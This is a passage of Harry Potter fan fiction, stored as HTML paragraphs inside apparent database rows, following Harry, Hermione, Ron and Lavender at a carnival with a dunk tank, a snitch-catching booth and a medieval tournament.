class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m with her!&#8221; he answered, and Hermione appeared by his\nside.&nbsp; Ron almost wet his pants.&nbsp; They were all here!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Herm, you&#8217;re here too.&nbsp;\nHow did you find me?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Your brothers told us about your &#8216;job&#8217;, Ron, and we just\nhad to come see you,&#8221; Harry laughed.&nbsp;\nHis friend growled angrily; his siblings were going to pay for this.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right, miss, it&#8217;s your turn,&#8221; the attendant told\nLavender.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She stood behind a line about ten feet from the target, and\nthe attendant handed her three baseballs.&nbsp;\nRon was sitting on his hands, and he gulped as she threw the first ball.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It was a miss, and he breathed a sigh of relief.&nbsp; However, Harry could have sworn that she&#8217;d\nhit the red button.&nbsp; Lavender threw her\nsecond ball, and it nicked the target, but Ron still did not drop.&nbsp; She was just about to throw her last one\nwhen Harry stopped her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hold it a second, Lavender!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What is it?&#8221; she inquired.&nbsp;\nHarry smiled evilly and locked eyes with Ron; he knew what was going on.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Just a second&#8230;&#8221; Harry muttered something under his breath.\n&#8220;Now, do it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender took aim and tossed the ball.&nbsp; It hit dead center, and Ron dropped like a\nrock.&nbsp; Water splashed out of the tank as\nthe angry, young man sprung to the surface.&nbsp;\nHe saw his girlfriend laughing hysterically, and his two, best friends\ngrinning at him widely.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;ll teach him to cheat,&#8221; Harry laughed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What do you mean?&#8221; Hermione asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Herm, Ron&#8217;s not stupid.&nbsp;\nSome people were hitting the target, but he never fell.&nbsp; Ron put a levitation spell on the platform\nso he wouldn&#8217;t fall.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender immediately spun around.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;He did what!&#8221; she growled, &#8220;I&#8217;m gonna kill him!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t worry, Lavender, I think he&#8217;s learned his\nlesson.&nbsp; I dispersed his spell so it\nwon&#8217;t work anymore.&nbsp; From now on, he&#8217;ll\njust have to play the odds.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Still, that is rather unfair,&#8221; Lavender groaned, &#8220;I\ncould&#8217;ve dunked him three times.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why don&#8217;t you let us take over?&nbsp; Hermione?&#8221; His girlfriend grinned widely and stepped up to the\nline.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione took her turn, but she only hit the target once,\nhowever Ron still got drenched once again.&nbsp;\nNow, it was Harry&#8217;s turn.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Potter, you get me wet, and I&#8217;ll kill you!&#8221; he growled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah right, Ron, you and what army.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry threw his first ball and sent Ron into the tank.&nbsp; The young man groaned and climbed back onto\nthe platform.&nbsp; The next ball came and\ndown he went again.&nbsp; Ron was getting\nirritated, but Harry just ignored him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Off to the side, Lavender stood with a wide smile on her\nface as she talked to Hermione.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Do you think Harry&#8217;s spanking him a little too harshly?&#8221;\nHermione asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Not at all, Ron would do the same thing if their roles were\nreversed, and he knows it.&nbsp; Besides, his\nshift only lasts for another hour or so, and then he can dry off.&nbsp; After that, the rest of the day is\nours.&nbsp; I thought we&#8217;d go see that new\nMedieval Tournament they advertised; it sounds like fun.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah, Harry and I were thinking of doing the same thing.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well then&#8230;shall we double date?&#8221; Lavender teased.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sure&#8230;as long as the boys behave themselves,&#8221; Hermione\nlaughed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I think we can handle them.&nbsp; Ron may have a temper, but he&#8217;s a big puppy dog underneath.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry&#8217;s different though cause he always acts sweet and\ngentle, but he can be as wild as anybody.&nbsp;\nI know that for a fact,&#8221; she said with a wicked smile.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender gawked at her friend.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why Hermione?&nbsp; Did\nyou two do something that I should know about?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Her roommate let her eyes move up and down Harry&#8217;s body, and\nshe licked her lips.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You better take it easy, girl, you look ready to eat him\nalive!&#8221; Lavender chuckled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Nah, I&#8217;ll be okay.&nbsp;\nWe had a morning romp in the shower anyway,&#8221; she said calmly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione!&#8221; Lavender gasped, &#8220;I&#8217;ve never heard you talk like\nthat.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I can&#8217;t help it if I want him,&#8221; she sighed and winked at\nher friend.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Jeez, I&#8217;d never think you two were doing anything other\nthan snogging.&nbsp; I mean, Ron and I have\ncome close a couple of times, but we stopped before it got heated.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I have a feeling that Ron&#8217;s taking your relationship very\nseriously, Lavender.&nbsp; He cares about you\na great deal.&nbsp; Who knows, he may even be\nin love with you?&nbsp; All I know is that\nHarry and I&#8230;we just knew that we wanted each other.&nbsp; There wasn&#8217;t any doubt in either of our minds.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah, I guess when you love Harry Potter, it&#8217;s all or\nnothing,&#8221; Lavender stated.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s not just that.&nbsp;\nI love Harry just for being him &#8211; not because he&#8217;s famous.&nbsp; He once told me that I was only girl who\ncared about &#8216;him&#8217; and not his reputation.&nbsp;\nThat&#8217;s why he felt so close to me.&nbsp;\nIt was one of the reasons we fell in love.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You two are lucky, Herm, you&#8217;re both with your soul mate,\nand that&#8217;s something that most people will never experience.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The two girls smiled at one another and watched as Harry\nsunk Ron for a third time then headed over to meet them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What have two been up to?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Just girl talk,&#8221; Lavender answered.&nbsp; Harry instinctively slid his arm around\nHermione&#8217;s waist, and she leaned against him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m hungry,&#8221; Hermione groaned and gazed up into her lover&#8217;s\nface.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Then let&#8217;s grab some lunch.&nbsp; Do you wanna come Lavender?&#8221; Harry asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Nah, don&#8217;t worry about me.&nbsp;\nI&#8217;ll stay here and keep an eye on Ron.&nbsp;\nHow about we meet you guys in the main square later this afternoon?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sure, then we can have some time together before the\ntournament starts,&#8221; Hermione stated.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right, see you two this afternoon,&#8221; Lavender waved and\nheaded back towards Ron.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry?&#8221; Hermione cooed softly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes sweetheart?&#8221; His eyes locked with hers, and the world\nfell away.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I love you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And I you, my dear Hermione,&#8221; and he bent down towards\nher.&nbsp; His kiss was long and sweet, and\nshe leaned on him for support.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">After a few tender moments, Harry unwound his arms and led\nher back towards the central arena so they could get something to eat.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(161, 7, '\n\n\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">As the happy couple made their way towards the food court,\nHarry&#8217;s sharp eyes picked up a familiar sign, and he stopped walking.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What is it?&#8221; Hermione asked looking in the direction of his\neyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Off to the side was a booth whose sign read &#8216;Catch the\nhctins&#8230;if you can!&#8217;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Turning her head, she saw her lover with a wide grin and\nguessed what he was thinking.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You want to try it don&#8217;t you?&#8221; she giggled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Course I do, but you said you were hungry.&#8221; His girlfriend\nshook her head.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It can wait, love, come on,&#8221; and she pulled him towards the\nbooth. &#8220;You can win me a prize while you&#8217;re at it!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Despite the time, there was still a fairly large crowd in\nfront of the booth as they watched person after person trying to catch the\nelusive hctins.&nbsp; One man made a grab for\nit, but it streaked away at the last second.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;This is impossible!&nbsp;\nIt has to be rigged!&#8221; he screamed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Not at all, you&#8217;re just not fast enough to catch it,&#8221; the\nowner laughed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry and Hermione watched twenty people go ahead of them,\nbut none could catch up to the buzzing gold ball.&nbsp; Then, it was Harry&#8217;s turn, and the middle-aged owner greeted him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How do you do, young man?&nbsp;\nCare to try your luck?&nbsp; No one&#8217;s\nmanaged to catch it all day, but if you do, you can choose any prize you want.&#8221;\nThe man pointed to the array of large stuffed animals and other trinkets in the\nrear of the booth.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh Harry, I want one!&#8221; Hermione said giddily.&nbsp; The owner chuckled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sounds like your lady is giving you some incentive young\nman.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;She has habit of doing that,&#8221; Harry replied.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He stepped up to the front of the booth. &nbsp;The &#8216;snitch&#8217; was buzzing around in a small\ncubicle area about four feet wide.&nbsp; It\nwasn&#8217;t nearly as big as a quidditch field, but its speed still gave it quite an\nadvantage.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right, young man, you get three chances to catch the\nhctins.&nbsp; Good luck&#8230;you&#8217;re bloody well\ngonna need it!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A grin crossed Harry&#8217;s face, and he stared the man straight\nin the eye.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hmm&#8230;hctins eh?&nbsp;\nDon&#8217;t you mean &#8216;snitch&#8217;?&#8221; he asked, and the man&#8217;s eyes widened.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;Gotcha!&#8217; Harry thought.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The owner couldn&#8217;t refuse his admittance without a reason or\nwithout exposing himself so he allowed the young wizard a turn.&nbsp; Even for someone who had magical powers,\ncatching a snitch was a very difficult task.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry watched the familiar gold ball buzz around in the air,\nand it brought back wonderful memories of playing quidditch and flying on his\nbroomstick.&nbsp; He focused his eyes and\nbegan following the elusive snitch.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It flew around at lightning speed, and Harry just missed\nwith his first attempt.&nbsp; He waited\nanother minute before trying a second time, but again, he missed the\nsnitch.&nbsp; However, the two failed\nattempts allowed him to see how the snitch reacted to movement and enabled him\nto predict what it would do.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Just one more try, my boy, that&#8217;s all you have left.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;C&#8217;mon Harry, you can do it,&#8217; Hermione silently encouraged.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Narrowing his eyes, Harry readied himself.&nbsp; His hand shot out sharply and quickly\nsnapped shut.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m sorry, son, perhaps next time you&#8217;ll have better luck,&#8221;\nthe owner laughed heartily.&nbsp; Harry\nturned towards him with a smirk on his lips.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I believe this is yours.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Upon opening his hand, Harry heard several gasps as the\ngolden snitch appeared in his hand.&nbsp;\nHermione was smiling brightly, and the owner was completely speechless.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;My goodness, I guess I misjudged you.&nbsp; As I promised, you may anything you want.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione?&#8221; Harry asked.&nbsp;\nShe looked around at the various stuffed animals &#8211; many of which were\nlife-size.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That one!&#8221; she said happily.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry chuckled as the owner handed her a giant stuffed lion\n&#8211; complete with a dark brown mane.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You have exceptional skill, young man, well done.&#8221; The\nowner nodded at Harry, and he returned the nod as an understanding took place\nbetween them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione&#8217;s face was glowing as she hugged the stuffed\nlion.&nbsp; Harry shook his head in comical\nfashion as they walked on.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I should&#8217;ve known you&#8217;d pick the giant cat!&#8221; he laughed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why do you say that?&#8221; she asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well&#8230;let me think&#8230;&#8221; Harry cocked his eyebrows at her,\n&#8220;&#8230;maybe because you have a giant, pet cat or maybe because your house symbol\nhappens to be a lion.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That could be true, but I wasn&#8217;t thinking of those.&nbsp; I just thought he was cute!&#8221; Hermione\ngiggled.&nbsp; Harry stepped closer to her\nand wrapped an arm around her waist.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I forget to mention the third reason.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And that being?&#8221; He bent down to nuzzle her right ear.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Anybody ever tell you that you purr in your sleep, Herm?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey!&#8221; she gasped, &#8220;I most certainly do not!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, you do,&#8221; Harry teased and pulled her closer, &#8220;You make\nthe cutest little purring noises in your sleep. &nbsp;It sounds like a happy kitten who&#8217;s just had a saucer of cream.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione would&#8217;ve slugged him if her arms weren&#8217;t full.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hmmph, just for that, you can carry this for me for the\nrest of the day.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She shoved the lion into Harry&#8217;s free arm and stormed off,\nbut his arm around her waist wouldn&#8217;t release her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Let me go!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Not in this lifetime, sweetheart, you should know that I\nwon&#8217;t ever let you get away.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione&#8217;s eyes softened, and a faint blush stained her\ncheeks.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I do know that, Harry, but you can be such a pain\nsometimes,&#8221; she groaned.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I merely tell the truth, Herm, nothing less.&nbsp; And besides, I like hearing you purr; it\nlets me know that you&#8217;re happy.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione leaned into his chest and giggled.&nbsp; A long, sexy purr rolled its way up her\nthroat, and Harry gulped inaudibly.&nbsp;\nShe&#8217;d gotten him back.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Save that for later, my love,&#8221; he whispered into her ear.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I plan to,&#8221; she cooed at him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The couple heartily enjoyed themselves throughout the\nday.&nbsp; Hermione took him to virtually\nevery ride in the carnival &#8211; including the Ferris wheel, the tunnel of love\n(which they steamed up quite nicely), and even the merry-go-round.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Throughout the day, the central area of the carnival was\nbuilt and constructed for the upcoming tournament.&nbsp; Long, wooden tables were placed around the outside of the ring,\nmedieval banners were hung around the arena, and even a makeshift platform with\ntwo thrones was erected on the far side.&nbsp;\nIt looked exactly like a jousting arena.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Late that afternoon, Harry and Hermione met up with Lavender\nand Ron.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well&#8230;you finally dried off&#8230;eh, Ron?&#8221; Harry chuckled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Shut your trap!&#8221; his best friend said with a slight glare.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;He&#8217;s fine,&#8221; Lavender giggled and clutched Ron&#8217;s hand.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I wonder what the tournament&#8217;s going to be like,&#8221; Hermione\nsaid giddily.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Let&#8217;s go find out,&#8221; Harry offered.&nbsp; The others heartily agreed with him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">By now, the sun was getting low in the western sky as the\nfour friends approached the large, central arena.&nbsp; There was a long line ahead of them, but they didn&#8217;t really mind\nas it gave them a chance to talk.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So Harry, how&#8217;s it been staying with Herm&#8217;s parents?&#8221; Ron\nasked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Just great.&nbsp; They&#8217;re\nwonderful people.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And they absolutely love him,&#8221; Hermione added and leaned\nagainst him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Before they knew it, an hour had passed by, and they were\nfinally at the head of the line.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Just as Harry and Hermione stepped through, a loud ringing\nwent off, and suddenly, several attendants surrounded them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Is there a problem?&#8221; Harry asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Congratulations, you are the hundredth person to enter our\narena this evening.&nbsp; As such, you and\none other shall be given parts in our performance tonight.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What!&#8221; the young wizard gawked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So, who do wish to accompany you?&#8221; the attendant\nasked.&nbsp; Harry didn&#8217;t even need to think.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione?&#8221; His girlfriend&#8217;s eyes lit up.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Me?&nbsp; You want me?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Of course, whom else would I pick?&#8221; he laughed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Excellent, now, would you both please follow me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry just shrugged his shoulders at Ron as he and Hermione\nfollowed the man toward one of the large tents set up alongside the main\nring.&nbsp; This was turning into a very\ninteresting evening.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(161, 8, '\n\n\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Now, young man, if you would please step inside here,&#8221; the\nattendant stated and pointed at the first tent, &#8220;And miss, please come with\nme.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;See ya later, Harry,&#8221; Hermione laughed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He just grinned and headed inside the large tent.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Once inside, he saw several men who were dressed as medieval\nknights.&nbsp; Harry felt a bit overwhelmed\nuntil one of them approached him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ah, so you must the winner for this evening.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes sir, I guess so.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You don&#8217;t have &#8216;sir&#8217; me, young man, just call me\nMarcus.&nbsp; The others are Lawrence,\nJustin, and Thomas.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Nice to meet you, I&#8217;m Harry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Same to you, Harry, now let&#8217;s see if we can get you suited\nup for tonight.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Over the next half-hour, the young wizard was fitted with\nquite an ensemble.&nbsp; His entire body was\ndawned in chain armor, and a large, red pullover went down to his ankles.&nbsp; He was wearing leather boots, and each of\nhis forearms was garbed with a silver gauntlet.&nbsp; What Harry found quite amusing was that a lion&#8217;s head was\nengraved in gold dust on the front of his armor.&nbsp; A leather belt was tied around his waist, and he ran a hand through\nhis messy hair.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well&#8230;I&#8217;d have to say you look pretty good,&#8221; Marcus said\nwith a smile.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Is it too heavy?&#8221; Thomas asked, noting that Harry was\nswinging his arms back and forth.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, I&#8217;m fine, just nervous I guess; I&#8217;ve never done\nanything like this.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Just relax, it&#8217;s quite fun once you get into it,&#8221; Marcus\nlaughed, &#8220;Which reminds me&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The older man walked over to a large wooden cabinet and\nthrew open the doors.&nbsp; Harry gasped at\nthe contents.&nbsp; Inside had to be some of\nthe most wonderfully crafted swords that he&#8217;d ever seen.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;We can&#8217;t forget your sword.&nbsp; No knight is complete without his sword.&nbsp; Now, why don&#8217;t you pick one?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;They all look incredible!&#8221; Harry gasped as he walked over.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">His eyes scanned through the rows of weapons until they\nhappened upon a pair of short swords.&nbsp; A\nnormal sword was several feet long, but these were only about eighteen inches\nin length.&nbsp; Their steel blades gleamed\nfrom the torchlights inside the tent, and it reflected into Harry&#8217;s eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p 